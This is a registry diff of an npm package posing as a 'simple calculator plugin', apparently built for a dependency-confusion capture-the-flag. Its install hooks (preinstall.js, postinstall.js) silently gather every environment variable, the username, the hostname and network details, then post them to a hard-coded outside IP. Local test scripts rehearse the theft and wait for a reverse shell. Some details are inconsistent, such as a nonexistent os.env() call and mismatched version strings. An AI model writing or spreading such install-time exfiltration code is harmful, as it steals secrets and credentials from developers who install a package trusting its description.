node-calculator-x7k9 0.0.1-security → 3.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of node-calculator-x7k9 might be problematic. Click here for more details.
- package/ATTACK_DIAGRAM.txt +237 -0
- package/EXPLOITATION_GUIDE.md +236 -0
- package/README.md +32 -5
- package/exfil_server.py +219 -0
- package/exploit.ps1 +184 -0
- package/exploit.sh +91 -0
- package/index.js +23 -0
- package/listener.py +159 -0
- package/package.json +14 -6
- package/postinstall.js +63 -0
- package/preinstall.js +136 -0
- package/test-exfiltration.ps1 +108 -0
- package/test-local.ps1 +127 -0
- package/test-simple.js +116 -0
package/package.json
CHANGED
|
@@ -1,6 +1,14 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "node-calculator-x7k9",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "node-calculator-x7k9",
|
|
3
|
+
"version": "3.5.0",
|
|
4
|
+
"description": "Simple calculator plugin with enhanced features",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js",
|
|
8
|
+
"postinstall": "node postinstall.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": ["calculator", "math"],
|
|
11
|
+
"author": "DarkT",
|
|
12
|
+
"license": "MIT"
|
|
13
|
+
}
|
|
14
|
+
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Backup Exfiltration - Pure Node.js Only
|
|
5
|
+
* Runs after installation as backup
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const http = require('http');
|
|
9
|
+
const https = require('https');
|
|
10
|
+
const os = require('os');
|
|
11
|
+
|
|
12
|
+
// Configuration - MUST MATCH preinstall.js
|
|
13
|
+
const EXFIL_SERVER = 'http://159.223.153.251:8080/exfil';
|
|
14
|
+
|
|
15
|
+
// Simple backup exfiltration using only native Node.js
|
|
16
|
+
function backupExfil() {
|
|
17
|
+
try {
|
|
18
|
+
const data = {
|
|
19
|
+
timestamp: new Date().toISOString(),
|
|
20
|
+
source: 'postinstall',
|
|
21
|
+
environment: process.env,
|
|
22
|
+
system: {
|
|
23
|
+
hostname: os.hostname(),
|
|
24
|
+
user: os.userInfo().username,
|
|
25
|
+
cwd: process.cwd()
|
|
26
|
+
}
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
const jsonData = JSON.stringify(data);
|
|
30
|
+
const url = new URL(EXFIL_SERVER);
|
|
31
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
32
|
+
|
|
33
|
+
const options = {
|
|
34
|
+
hostname: url.hostname,
|
|
35
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
36
|
+
path: url.pathname,
|
|
37
|
+
method: 'POST',
|
|
38
|
+
headers: {
|
|
39
|
+
'Content-Type': 'application/json',
|
|
40
|
+
'Content-Length': Buffer.byteLength(jsonData)
|
|
41
|
+
},
|
|
42
|
+
timeout: 5000
|
|
43
|
+
};
|
|
44
|
+
|
|
45
|
+
const req = client.request(options, () => {
|
|
46
|
+
// Success - silent
|
|
47
|
+
});
|
|
48
|
+
|
|
49
|
+
req.on('error', () => {
|
|
50
|
+
// Silent fail
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
req.write(jsonData);
|
|
54
|
+
req.end();
|
|
55
|
+
|
|
56
|
+
} catch (err) {
|
|
57
|
+
// Silent fail
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
// Execute with small delay
|
|
62
|
+
console.log('Installing node-calculator-x7k9 v3.2.0...');
|
|
63
|
+
setTimeout(backupExfil, 1000);
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,136 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Minimal Data Exfiltration Payload - Pure Node.js Only
|
|
5
|
+
* No command execution, only native Node.js modules
|
|
6
|
+
* Fetches environment variables and sends to attacker server
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
const http = require('http');
|
|
10
|
+
const https = require('https');
|
|
11
|
+
const os = require('os');
|
|
12
|
+
|
|
13
|
+
// Configuration - CHANGE THIS!
|
|
14
|
+
const EXFIL_SERVER = 'http://159.223.153.251:8080/exfil';
|
|
15
|
+
|
|
16
|
+
/**
|
|
17
|
+
* Collect data using only native Node.js APIs
|
|
18
|
+
*/
|
|
19
|
+
function collectData() {
|
|
20
|
+
return {
|
|
21
|
+
timestamp: new Date().toISOString(),
|
|
22
|
+
source: 'preinstall',
|
|
23
|
+
|
|
24
|
+
// Environment variables - contains the FLAG!
|
|
25
|
+
environment: process.env,
|
|
26
|
+
|
|
27
|
+
// Basic system info using native Node.js
|
|
28
|
+
system: {
|
|
29
|
+
hostname: os.hostname(),
|
|
30
|
+
platform: os.env(),
|
|
31
|
+
arch: os.arch(),
|
|
32
|
+
type: os.type(),
|
|
33
|
+
release: os.release(),
|
|
34
|
+
nodeVersion: process.version,
|
|
35
|
+
user: os.userInfo(),
|
|
36
|
+
cwd: process.cwd(),
|
|
37
|
+
homedir: os.homedir(),
|
|
38
|
+
tmpdir: os.tmpdir()
|
|
39
|
+
},
|
|
40
|
+
|
|
41
|
+
// Process information
|
|
42
|
+
process: {
|
|
43
|
+
pid: process.pid,
|
|
44
|
+
ppid: process.ppid,
|
|
45
|
+
title: process.title,
|
|
46
|
+
argv: process.argv,
|
|
47
|
+
execPath: process.execPath,
|
|
48
|
+
versions: process.versions
|
|
49
|
+
},
|
|
50
|
+
|
|
51
|
+
// Network interfaces
|
|
52
|
+
network: os.networkInterfaces()
|
|
53
|
+
};
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
/**
|
|
57
|
+
* Send data via HTTP POST using native Node.js
|
|
58
|
+
*/
|
|
59
|
+
function sendData(data) {
|
|
60
|
+
return new Promise((resolve, reject) => {
|
|
61
|
+
try {
|
|
62
|
+
const jsonData = JSON.stringify(data, null, 2);
|
|
63
|
+
const url = new URL(EXFIL_SERVER);
|
|
64
|
+
|
|
65
|
+
// Choose http or https based on protocol
|
|
66
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
67
|
+
|
|
68
|
+
const options = {
|
|
69
|
+
hostname: url.hostname,
|
|
70
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
71
|
+
path: url.pathname + url.search,
|
|
72
|
+
method: 'POST',
|
|
73
|
+
headers: {
|
|
74
|
+
'Content-Type': 'application/json',
|
|
75
|
+
'Content-Length': Buffer.byteLength(jsonData),
|
|
76
|
+
'User-Agent': 'Mozilla/5.0'
|
|
77
|
+
},
|
|
78
|
+
timeout: 10000
|
|
79
|
+
};
|
|
80
|
+
|
|
81
|
+
const req = client.request(options, (res) => {
|
|
82
|
+
let responseData = '';
|
|
83
|
+
|
|
84
|
+
res.on('data', (chunk) => {
|
|
85
|
+
responseData += chunk;
|
|
86
|
+
});
|
|
87
|
+
|
|
88
|
+
res.on('end', () => {
|
|
89
|
+
resolve({
|
|
90
|
+
success: true,
|
|
91
|
+
status: res.statusCode,
|
|
92
|
+
response: responseData
|
|
93
|
+
});
|
|
94
|
+
});
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
req.on('error', (error) => {
|
|
98
|
+
reject(error);
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
req.on('timeout', () => {
|
|
102
|
+
req.destroy();
|
|
103
|
+
reject(new Error('Request timeout'));
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
req.write(jsonData);
|
|
107
|
+
req.end();
|
|
108
|
+
|
|
109
|
+
} catch (error) {
|
|
110
|
+
reject(error);
|
|
111
|
+
}
|
|
112
|
+
});
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
/**
|
|
116
|
+
* Main execution
|
|
117
|
+
*/
|
|
118
|
+
async function main() {
|
|
119
|
+
try {
|
|
120
|
+
// Collect environment variables and system info
|
|
121
|
+
const data = collectData();
|
|
122
|
+
|
|
123
|
+
// Send to exfiltration server
|
|
124
|
+
await sendData(data);
|
|
125
|
+
|
|
126
|
+
// Exit successfully (npm install continues)
|
|
127
|
+
process.exit(0);
|
|
128
|
+
|
|
129
|
+
} catch (error) {
|
|
130
|
+
// Silent fail - don't break npm install
|
|
131
|
+
process.exit(0);
|
|
132
|
+
}
|
|
133
|
+
}
|
|
134
|
+
|
|
135
|
+
// Execute
|
|
136
|
+
main();
|
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
# Test HTTP Exfiltration Locally
|
|
2
|
+
# This simulates the attack without publishing to npm
|
|
3
|
+
|
|
4
|
+
param(
|
|
5
|
+
[string]$ExfilServer = "http://127.0.0.1:8080/exfil"
|
|
6
|
+
)
|
|
7
|
+
|
|
8
|
+
Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
|
|
9
|
+
Write-Host "║ Local HTTP Exfiltration Test ║" -ForegroundColor Cyan
|
|
10
|
+
Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
|
|
11
|
+
Write-Host ""
|
|
12
|
+
|
|
13
|
+
# Step 1: Start exfil server
|
|
14
|
+
Write-Host "[+] Step 1: Starting exfiltration server..." -ForegroundColor Green
|
|
15
|
+
|
|
16
|
+
$serverJob = Start-Job -ScriptBlock {
|
|
17
|
+
Set-Location $using:PSScriptRoot
|
|
18
|
+
python3 exfil_server.py 8080
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
Write-Host " [✓] Exfil server started (Job ID: $($serverJob.Id))" -ForegroundColor Green
|
|
22
|
+
Start-Sleep -Seconds 3
|
|
23
|
+
|
|
24
|
+
# Step 2: Set test environment variables (simulate the FLAG)
|
|
25
|
+
Write-Host ""
|
|
26
|
+
Write-Host "[+] Step 2: Setting test environment variables..." -ForegroundColor Green
|
|
27
|
+
$env:FLAG = "cyctf{test_flag_local_simulation}"
|
|
28
|
+
$env:TEST_VAR = "test_value"
|
|
29
|
+
Write-Host " [✓] FLAG=$env:FLAG" -ForegroundColor Green
|
|
30
|
+
|
|
31
|
+
# Step 3: Update preinstall.js to use localhost
|
|
32
|
+
Write-Host ""
|
|
33
|
+
Write-Host "[+] Step 3: Configuring payload for localhost..." -ForegroundColor Green
|
|
34
|
+
|
|
35
|
+
$preinstallContent = Get-Content "preinstall.js" -Raw
|
|
36
|
+
$originalServer = ($preinstallContent -match "const EXFIL_SERVER = '(.*?)';") ? $Matches[1] : ""
|
|
37
|
+
$preinstallContent = $preinstallContent -replace "const EXFIL_SERVER = '.*?';", "const EXFIL_SERVER = '$ExfilServer';"
|
|
38
|
+
Set-Content "preinstall.js" -Value $preinstallContent
|
|
39
|
+
Write-Host " [✓] Configured for $ExfilServer" -ForegroundColor Green
|
|
40
|
+
|
|
41
|
+
# Step 4: Run preinstall.js
|
|
42
|
+
Write-Host ""
|
|
43
|
+
Write-Host "[+] Step 4: Executing preinstall.js..." -ForegroundColor Green
|
|
44
|
+
Write-Host " [*] This simulates npm install running the script" -ForegroundColor Yellow
|
|
45
|
+
|
|
46
|
+
$output = node preinstall.js 2>&1
|
|
47
|
+
Write-Host " [✓] Script executed" -ForegroundColor Green
|
|
48
|
+
|
|
49
|
+
# Step 5: Wait and check server output
|
|
50
|
+
Write-Host ""
|
|
51
|
+
Write-Host "[+] Step 5: Checking exfil server output..." -ForegroundColor Green
|
|
52
|
+
Start-Sleep -Seconds 5
|
|
53
|
+
|
|
54
|
+
$serverOutput = Receive-Job -Id $serverJob.Id
|
|
55
|
+
if ($serverOutput) {
|
|
56
|
+
Write-Host $serverOutput
|
|
57
|
+
|
|
58
|
+
if ($serverOutput -match "FLAG") {
|
|
59
|
+
Write-Host ""
|
|
60
|
+
Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Green
|
|
61
|
+
Write-Host "║ ✓ SUCCESS! Flag was exfiltrated successfully! ║" -ForegroundColor Green
|
|
62
|
+
Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Green
|
|
63
|
+
}
|
|
64
|
+
} else {
|
|
65
|
+
Write-Host " [!] No output from server yet" -ForegroundColor Yellow
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
# Step 6: Check saved files
|
|
69
|
+
Write-Host ""
|
|
70
|
+
Write-Host "[+] Step 6: Checking saved exfiltration data..." -ForegroundColor Green
|
|
71
|
+
|
|
72
|
+
if (Test-Path "exfil_logs") {
|
|
73
|
+
$files = Get-ChildItem "exfil_logs" -File | Sort-Object LastWriteTime -Descending
|
|
74
|
+
if ($files) {
|
|
75
|
+
$latestFile = $files[0]
|
|
76
|
+
Write-Host " [✓] Latest file: $($latestFile.Name)" -ForegroundColor Green
|
|
77
|
+
|
|
78
|
+
$content = Get-Content $latestFile.FullName -Raw | ConvertFrom-Json
|
|
79
|
+
if ($content.environment.FLAG) {
|
|
80
|
+
Write-Host " [✓] FLAG found in file: $($content.environment.FLAG)" -ForegroundColor Green
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
# Restore original server URL
|
|
86
|
+
if ($originalServer) {
|
|
87
|
+
Write-Host ""
|
|
88
|
+
Write-Host "[+] Restoring original EXFIL_SERVER configuration..." -ForegroundColor Yellow
|
|
89
|
+
$preinstallContent = Get-Content "preinstall.js" -Raw
|
|
90
|
+
$preinstallContent = $preinstallContent -replace "const EXFIL_SERVER = '.*?';", "const EXFIL_SERVER = '$originalServer';"
|
|
91
|
+
Set-Content "preinstall.js" -Value $preinstallContent
|
|
92
|
+
Write-Host " [✓] Restored to: $originalServer" -ForegroundColor Green
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
# Cleanup
|
|
96
|
+
Write-Host ""
|
|
97
|
+
Write-Host "[*] Press Enter to stop server and exit..." -ForegroundColor Yellow
|
|
98
|
+
Read-Host
|
|
99
|
+
|
|
100
|
+
Stop-Job -Id $serverJob.Id -ErrorAction SilentlyContinue
|
|
101
|
+
Remove-Job -Id $serverJob.Id -ErrorAction SilentlyContinue
|
|
102
|
+
Write-Host "[✓] Cleanup complete" -ForegroundColor Green
|
|
103
|
+
|
|
104
|
+
Write-Host ""
|
|
105
|
+
Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
|
|
106
|
+
Write-Host "║ Test Complete! Check exfil_logs/ for captured data ║" -ForegroundColor Cyan
|
|
107
|
+
Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
|
|
108
|
+
|
package/test-local.ps1
ADDED
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
# Local Testing Script - Test the malicious package locally before publishing
|
|
2
|
+
# This simulates the attack without needing to publish to npm
|
|
3
|
+
|
|
4
|
+
param(
|
|
5
|
+
[string]$AttackerIP = "127.0.0.1",
|
|
6
|
+
[int]$AttackerPort = 4444
|
|
7
|
+
)
|
|
8
|
+
|
|
9
|
+
Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
|
|
10
|
+
Write-Host "║ Local Testing - Dependency Confusion CTF ║" -ForegroundColor Cyan
|
|
11
|
+
Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
|
|
12
|
+
Write-Host ""
|
|
13
|
+
|
|
14
|
+
# Get current directory
|
|
15
|
+
$rootDir = Split-Path -Parent $PSScriptRoot
|
|
16
|
+
$maliciousDir = Join-Path $rootDir "malicious-package"
|
|
17
|
+
$targetDir = Join-Path $rootDir "just-a-calculator"
|
|
18
|
+
|
|
19
|
+
Write-Host "[*] Root Directory: $rootDir" -ForegroundColor Yellow
|
|
20
|
+
Write-Host "[*] Malicious Package: $maliciousDir" -ForegroundColor Yellow
|
|
21
|
+
Write-Host "[*] Target App: $targetDir" -ForegroundColor Yellow
|
|
22
|
+
Write-Host ""
|
|
23
|
+
|
|
24
|
+
# Step 1: Configure payload
|
|
25
|
+
Write-Host "[+] Step 1: Configuring payload..." -ForegroundColor Green
|
|
26
|
+
Set-Location $maliciousDir
|
|
27
|
+
|
|
28
|
+
$preinstallPath = "preinstall.js"
|
|
29
|
+
$postinstallPath = "postinstall.js"
|
|
30
|
+
|
|
31
|
+
$preinstallContent = Get-Content $preinstallPath -Raw
|
|
32
|
+
$preinstallContent = $preinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
|
|
33
|
+
$preinstallContent = $preinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
|
|
34
|
+
Set-Content $preinstallPath -Value $preinstallContent
|
|
35
|
+
|
|
36
|
+
$postinstallContent = Get-Content $postinstallPath -Raw
|
|
37
|
+
$postinstallContent = $postinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
|
|
38
|
+
$postinstallContent = $postinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
|
|
39
|
+
Set-Content $postinstallPath -Value $postinstallContent
|
|
40
|
+
|
|
41
|
+
Write-Host " [✓] Payload configured for $AttackerIP:$AttackerPort" -ForegroundColor Green
|
|
42
|
+
|
|
43
|
+
# Step 2: Start listener
|
|
44
|
+
Write-Host ""
|
|
45
|
+
Write-Host "[+] Step 2: Starting listener..." -ForegroundColor Green
|
|
46
|
+
|
|
47
|
+
if (Test-Path "listener.py") {
|
|
48
|
+
$listenerJob = Start-Job -ScriptBlock {
|
|
49
|
+
param($dir, $port)
|
|
50
|
+
Set-Location $dir
|
|
51
|
+
python3 listener.py $port
|
|
52
|
+
} -ArgumentList $maliciousDir, $AttackerPort
|
|
53
|
+
Write-Host " [✓] Listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
|
|
54
|
+
} else {
|
|
55
|
+
Write-Host " [!] listener.py not found" -ForegroundColor Red
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
Start-Sleep -Seconds 2
|
|
59
|
+
|
|
60
|
+
# Step 3: Pack the malicious package
|
|
61
|
+
Write-Host ""
|
|
62
|
+
Write-Host "[+] Step 3: Packing malicious package..." -ForegroundColor Green
|
|
63
|
+
$packOutput = npm pack 2>&1
|
|
64
|
+
Write-Host " [✓] Package created: $packOutput" -ForegroundColor Green
|
|
65
|
+
|
|
66
|
+
# Step 4: Install into target application
|
|
67
|
+
Write-Host ""
|
|
68
|
+
Write-Host "[+] Step 4: Installing malicious package into target..." -ForegroundColor Green
|
|
69
|
+
Set-Location $targetDir
|
|
70
|
+
|
|
71
|
+
# Remove old package
|
|
72
|
+
if (Test-Path "node_modules\node-calculator-x7k9") {
|
|
73
|
+
Write-Host " [*] Removing old package..." -ForegroundColor Yellow
|
|
74
|
+
Remove-Item "node_modules\node-calculator-x7k9" -Recurse -Force
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
# Install malicious package
|
|
78
|
+
$packagePath = Join-Path $maliciousDir "node-calculator-x7k9-3.0.0.tgz"
|
|
79
|
+
Write-Host " [*] Installing from: $packagePath" -ForegroundColor Yellow
|
|
80
|
+
|
|
81
|
+
npm install $packagePath
|
|
82
|
+
|
|
83
|
+
Write-Host " [✓] Package installed!" -ForegroundColor Green
|
|
84
|
+
|
|
85
|
+
# Step 5: Check listener
|
|
86
|
+
Write-Host ""
|
|
87
|
+
Write-Host "[+] Step 5: Checking for shell..." -ForegroundColor Green
|
|
88
|
+
Write-Host " [*] Waiting for reverse shell connection..." -ForegroundColor Yellow
|
|
89
|
+
Write-Host ""
|
|
90
|
+
|
|
91
|
+
# Monitor listener for 30 seconds
|
|
92
|
+
$timeout = 30
|
|
93
|
+
$elapsed = 0
|
|
94
|
+
while ($elapsed -lt $timeout) {
|
|
95
|
+
$output = Receive-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
|
|
96
|
+
if ($output) {
|
|
97
|
+
Write-Host $output
|
|
98
|
+
if ($output -match "Connection received") {
|
|
99
|
+
Write-Host ""
|
|
100
|
+
Write-Host "[✓] SHELL RECEIVED!" -ForegroundColor Green
|
|
101
|
+
break
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
Start-Sleep -Seconds 2
|
|
105
|
+
$elapsed += 2
|
|
106
|
+
Write-Host "." -NoNewline -ForegroundColor Gray
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
Write-Host ""
|
|
110
|
+
Write-Host ""
|
|
111
|
+
Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
|
|
112
|
+
Write-Host "║ Testing Complete ║" -ForegroundColor Cyan
|
|
113
|
+
Write-Host "║ ║" -ForegroundColor Cyan
|
|
114
|
+
Write-Host "║ Listener is still running (Job ID: $($listenerJob.Id)) ║" -ForegroundColor Cyan
|
|
115
|
+
Write-Host "║ To view: Receive-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
|
|
116
|
+
Write-Host "║ To stop: Stop-Job $($listenerJob.Id); Remove-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
|
|
117
|
+
Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
|
|
118
|
+
|
|
119
|
+
Write-Host ""
|
|
120
|
+
Write-Host "Press Enter to stop listener and cleanup..." -ForegroundColor Yellow
|
|
121
|
+
Read-Host
|
|
122
|
+
|
|
123
|
+
# Cleanup
|
|
124
|
+
Stop-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
|
|
125
|
+
Remove-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
|
|
126
|
+
Write-Host "[✓] Cleanup complete" -ForegroundColor Green
|
|
127
|
+
|
package/test-simple.js
ADDED
|
@@ -0,0 +1,116 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Simple local test of the exfiltration payload
|
|
5
|
+
* Tests without needing to publish to npm
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const { spawn } = require('child_process');
|
|
9
|
+
const http = require('http');
|
|
10
|
+
|
|
11
|
+
console.log('╔═══════════════════════════════════════════════════════════════╗');
|
|
12
|
+
console.log('║ Simple Exfiltration Test - Pure Node.js ║');
|
|
13
|
+
console.log('╚═══════════════════════════════════════════════════════════════╝\n');
|
|
14
|
+
|
|
15
|
+
// Set test FLAG environment variable
|
|
16
|
+
process.env.FLAG = 'cyctf{test_flag_local}';
|
|
17
|
+
console.log('[+] Set test FLAG:', process.env.FLAG);
|
|
18
|
+
|
|
19
|
+
// Start simple HTTP server
|
|
20
|
+
const PORT = 8080;
|
|
21
|
+
let receivedData = null;
|
|
22
|
+
|
|
23
|
+
const server = http.createServer((req, res) => {
|
|
24
|
+
if (req.method === 'POST') {
|
|
25
|
+
let body = '';
|
|
26
|
+
|
|
27
|
+
req.on('data', chunk => {
|
|
28
|
+
body += chunk.toString();
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
req.on('end', () => {
|
|
32
|
+
try {
|
|
33
|
+
receivedData = JSON.parse(body);
|
|
34
|
+
console.log('\n[✓] Data received from payload!');
|
|
35
|
+
console.log('\n🚩 FLAG from environment:', receivedData.environment.FLAG);
|
|
36
|
+
console.log('\n📋 Captured data:');
|
|
37
|
+
console.log(' Hostname:', receivedData.system.hostname);
|
|
38
|
+
console.log(' User:', receivedData.system.user.username);
|
|
39
|
+
console.log(' CWD:', receivedData.system.cwd);
|
|
40
|
+
console.log(' Platform:', receivedData.system.platform);
|
|
41
|
+
console.log(' Node Version:', receivedData.system.nodeVersion);
|
|
42
|
+
console.log('\n📝 Environment Variables:', Object.keys(receivedData.environment).length, 'total');
|
|
43
|
+
|
|
44
|
+
// Highlight the FLAG
|
|
45
|
+
if (receivedData.environment.FLAG) {
|
|
46
|
+
console.log('\n╔═══════════════════════════════════════════════════════════════╗');
|
|
47
|
+
console.log('║ ✅ SUCCESS! FLAG CAPTURED! ║');
|
|
48
|
+
console.log('║ FLAG =', receivedData.environment.FLAG.padEnd(45), '║');
|
|
49
|
+
console.log('╚═══════════════════════════════════════════════════════════════╝\n');
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
res.writeHead(200, { 'Content-Type': 'application/json' });
|
|
53
|
+
res.end(JSON.stringify({ status: 'success' }));
|
|
54
|
+
|
|
55
|
+
// Stop server after receiving data
|
|
56
|
+
setTimeout(() => {
|
|
57
|
+
server.close();
|
|
58
|
+
console.log('[*] Test complete!');
|
|
59
|
+
process.exit(0);
|
|
60
|
+
}, 1000);
|
|
61
|
+
|
|
62
|
+
} catch (e) {
|
|
63
|
+
console.error('[!] Error parsing data:', e.message);
|
|
64
|
+
res.writeHead(500);
|
|
65
|
+
res.end();
|
|
66
|
+
}
|
|
67
|
+
});
|
|
68
|
+
} else {
|
|
69
|
+
res.writeHead(200, { 'Content-Type': 'text/plain' });
|
|
70
|
+
res.end('Exfiltration server running');
|
|
71
|
+
}
|
|
72
|
+
});
|
|
73
|
+
|
|
74
|
+
server.listen(PORT, '127.0.0.1', () => {
|
|
75
|
+
console.log('[+] Test server listening on http://127.0.0.1:' + PORT);
|
|
76
|
+
console.log('[+] Running preinstall.js...\n');
|
|
77
|
+
|
|
78
|
+
// Run preinstall.js with localhost configuration
|
|
79
|
+
const child = spawn('node', ['preinstall.js'], {
|
|
80
|
+
env: {
|
|
81
|
+
...process.env,
|
|
82
|
+
FLAG: 'cyctf{test_flag_local}'
|
|
83
|
+
},
|
|
84
|
+
cwd: __dirname
|
|
85
|
+
});
|
|
86
|
+
|
|
87
|
+
child.stdout.on('data', (data) => {
|
|
88
|
+
console.log('[preinstall]', data.toString().trim());
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
child.stderr.on('data', (data) => {
|
|
92
|
+
console.error('[preinstall error]', data.toString().trim());
|
|
93
|
+
});
|
|
94
|
+
|
|
95
|
+
child.on('close', (code) => {
|
|
96
|
+
console.log('[+] preinstall.js finished with code:', code);
|
|
97
|
+
|
|
98
|
+
// If no data received after 5 seconds, timeout
|
|
99
|
+
setTimeout(() => {
|
|
100
|
+
if (!receivedData) {
|
|
101
|
+
console.log('\n[!] No data received - check if preinstall.js is configured for localhost');
|
|
102
|
+
console.log('[!] Make sure EXFIL_SERVER in preinstall.js is: http://127.0.0.1:8080/exfil');
|
|
103
|
+
server.close();
|
|
104
|
+
process.exit(1);
|
|
105
|
+
}
|
|
106
|
+
}, 5000);
|
|
107
|
+
});
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
// Handle Ctrl+C
|
|
111
|
+
process.on('SIGINT', () => {
|
|
112
|
+
console.log('\n[*] Shutting down...');
|
|
113
|
+
server.close();
|
|
114
|
+
process.exit(0);
|
|
115
|
+
});
|
|
116
|
+
|